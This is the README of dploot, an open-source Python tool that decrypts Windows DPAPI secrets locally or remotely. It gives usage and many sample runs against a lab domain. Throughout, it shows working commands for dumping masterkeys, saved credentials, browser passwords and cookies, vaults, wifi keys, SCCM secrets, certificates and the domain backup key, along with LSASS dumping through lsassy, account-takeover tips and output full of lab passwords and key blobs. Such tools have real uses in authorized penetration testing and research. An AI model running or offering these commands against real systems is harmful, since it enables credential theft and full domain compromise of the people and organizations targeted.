dploot

dploot is Python rewrite of SharpDPAPI written un C# by Harmj0y, which is itself a port of DPAPI from Mimikatz by gentilkiwi. It implements all the DPAPI logic of these tools, but this time it is usable with a python interpreter and from a Linux environment.

If you don't know what is DPAPI, check out this post.

dploot

Installation

You can install dploot directly from PyPI with pipx:

pipx install git+https://github.com/zblurx/dploot.git

pipx install dploot

On Kali Linux, you can install dploot from the repositories:

sudo apt install python3-dploot

Usage

dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
usage: dploot [-h]
              {certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
              ...

DPAPI looting locally remotely in Python

positional arguments:
  {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
                        target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Kerberos

dploot can authenticate with Kerberos. Simply use -k option. If you want to use a cached ticket, use -use-kcache option.

How to use

The goal of dploot is to simplify DPAPI related loot from a Linux box. As SharpDPAPI, how you use this tool will depend on if you compromised the domain or not.

As a local administrator on the machine

Whenever you are local administrator of a windows computer, you can loot machine secrets, for example with machinecertificates (or any other Machine Triage commands, or wifi command):

$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

With offline access to the Windows' filesystem

A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify LOCAL as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with -root:

$ dploot sccm -root /media/C_drive/ LOCAL
[*] Connected to LOCAL as \None (admin)

It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in User Triage below):

$ dploot masterkeys -root /mnt -u bob -p Password LOCAL
[*] Connected to LOCAL as \bob (admin)

As a domain administrator (or equivalent)

If you have domain admin privileges, you can obtain the domain DPAPI backup key with the backupkey command. This key can decrypt any DPAPI masterkeys for domain users and computers, and it will never change. Therefore, this key allow attacker to loot any DPAPI protected password realted to a domain user.

To obtain the domain backupkey, you can use backupkey command:

$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk

Then you can loot any user secrets stored on a windows domain-joined computer on the network, for example with certificates command (or any other User Triage commands):

$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk  -quiet
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
[-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx
[-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx

Not as a domain administrator

If domain admin privileges have not been obtained (yet), using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to dploot to triage the box. Use can also use lsassy to harvest decrypted masterkeys:

$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$        [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys

Then you can use this masterkey file to loot the targeted computer, for example with browser command (or any other User Triage commands):

$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys
[*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:        
Username:   zblurx@gmail.com
Password:   Waza1234

You can also dump masterkey hashes with -hashes-outputfile option of dploot masterkeys

Commands

User Triage

masterkeys

The masterkeys command will get any user masterkey file and decrypt them with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. You can eventually use -hashes-outputfile to get every masterkey hashes in Hashcat/JtR format in order to crack cleartext password.

With domain backupkey:

$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

With password:

$ cat passwords
jsmith:Password#123
$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

Tips: With the outputfile flag, dploot masterkeys will append looted masterkeys in a specified file. It is not a problem to store every masterkeys in the same file, because a DPAPI BLOB store the GUID of the masterkey that will be needed in order to decrypt it.

credentials

The credentials command will search for users Credential files and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With mkfile:

$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=test
Description :
Unknown     :
Username    : test
Unknown     : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown     :
Username    : DESKTOP-I60R2L6\Administrator
Unknown     : Password!123

With pvk:

$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-05-19 10:25:06
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=myserver.com
Description :
Unknown     :
Username    : Administrator
Unknown     : Naga2019*

vaults

The vaults command will search for users Vaults secrets and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With mkfile:

$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

With pvk:

$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

rdg

The rdg command will search for users RDCMan.settings files secrets and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With mkfile:

$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
    Profile Name:   WAZA\Administrator
    Username:   WAZA\Administrator
    Password:   Placeholder1234567890

[LOGON PROFILES]
    Profile Name:   Custom
    Username:   WAZA\Administrator
    Password:   Password!123

[SERVER PROFILES]
    Name:       DC01.waza.local
    Profile Name:   Custom
    Username:   WAZA\jdoe
    Password:   Password#123

[SERVER PROFILES]
    Name:       SRV01.waza.local
    Profile Name:   Custom
    Username:   WAZA\jfile
    Password:   Password#123

With pvk:

dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
    Profile Name:   WAZA\Administrator
    Username:   WAZA\Administrator
    Password:   Placeholder1234567890

[LOGON PROFILES]
    Profile Name:   Custom
    Username:   WAZA\Administrator
    Password:   Password!123

[SERVER PROFILES]
    Name:       DC01.waza.local
    Profile Name:   Custom
    Username:   WAZA\jdoe
    Password:   Password#123

[SERVER PROFILES]
    Name:       SRV01.waza.local
    Profile Name:   Custom
    Username:   WAZA\jfile
    Password:   Password#123

certificates

The certificates command will search for users certificates from MY and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With mkfile:

$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer:         CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:        CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:     2022-05-24 09:51:33
Expiry Date:        2023-05-24 09:51:33
Extended Key Usage:
    Unknown OID (1.3.6.1.4.1.311.10.3.4)
    emailProtection (1.3.6.1.5.5.7.3.4)
    clientAuth (1.3.6.1.5.5.7.3.2)
    [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

With pvk:

$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Certificates for ALL USERS

Issuer:         CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:        CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:     2022-05-24 09:51:33
Expiry Date:        2023-05-24 09:51:33
Extended Key Usage:
    Unknown OID (1.3.6.1.4.1.311.10.3.4)
    emailProtection (1.3.6.1.5.5.7.3.4)
    clientAuth (1.3.6.1.5.5.7.3.2)
    [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

By default, the tool will loot only certificates used for client auth, but with -dump-all you can harvest all of them.

Tips: If you get a certificate with client authentication EKU, you can takeover the account with certipy.

browser

The browser command will search for users password and cookies in chrome based browsers, and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, or with -passwords FILE combo of user:password, -nthashes combo of user:nthash or a -pvk PVKFILE to first decrypt masterkeys.

With mkfile:

$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:        
Username:   admin
Password:   Password!123

With pvk:

$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:        
Username:   admin
Password:   Password!123

To display stored cookies, use -show-cookies option

triage

The triage command runs the user credentials, vaults, rdg, and certificates commands.

Machine Triage

machinemasterkeys

The machinemasterkeys command will dump LSA secrets with RemoteRegistry to retrieve DPAPI_SYSTEM key which will the be used to decrypt any found machine masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.

$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

machinecredentials

The machinecredentials command will get any machine Credentials file found and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI XXX blob.

$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...]
{a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...]
{d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...]
{69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...]
{9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...]
{e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL]
LastWritten : 2022-05-06 15:51:53
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB}
Description :
Unknown     :
Username    : WAZA\Administrator
Unknown     : Password!123

machinevaults

The machinevaults command will get any machine Vaults file found and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.

$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

machinecertificates

The machinecertificates command will get any machine private key file found and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

It will also dump machine CAPI certificates blob with RemoteRegistry.

$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage SYSTEM Certificates

Issuer:         CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:        CN=DESKTOP-OJ3N8TJ.waza.local
Valid Date:     2022-06-11 10:31:16
Expiry Date:        2023-06-11 10:31:16
Extended Key Usage:
    clientAuth (1.3.6.1.5.5.7.3.2)
    serverAuth (1.3.6.1.5.5.7.3.1)
    [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
(snip)
nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE
TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a
-----END CERTIFICATE-----

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

Tips: If you get a certificate with client authentication EKU, you can takeover the account with certipy.

machinetriage

The machinetriage command runs the machinecredentials, machinevaults and machinecertificates.

Misc

wifi

The wifi command will get any wifi xml configuration file and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage ALL WIFI profiles

[WIFI]
SSID:       Wifi_G
AuthType:   WPA2PSK
Encryption: AES
Preshared key:  AzErTy1234567890QwSxDcFvG

[WIFI]
SSID:       EAP_TLS
AuthType:   WPA2 EAP
Encryption: AES
EAP Type:   EAP TLS

EapHostConfig:
  EapMethod:
    Type: 13
    VendorId: 0
    VendorType: 0
    AuthorId: 0
  Config:
    Eap:
      Type: 13
      EapType:
        CredentialsSource:
          CertificateStore:
            SimpleCertSelection: true
        ServerValidation:
          DisableUserPromptForServerValidation: false
          ServerNames: None
        DifferentUsername: false
        PerformServerValidation: true
        AcceptServerName: false

[snip]

sccm

The sccm command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with -mkfile FILE of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using -wmi will dump SCCM secrets from WMI requests results.

$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SCCM Secrets

[NAA Account]
Username: NAAAccount
Password: Password!123

[snip]

backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using MS-LDAD. This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.

By default, this command will write the domain backup key into a file called key.pvk, but you can change this with outputfile flag. It is also possible to dump legacy backup key with legacy flag.

$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189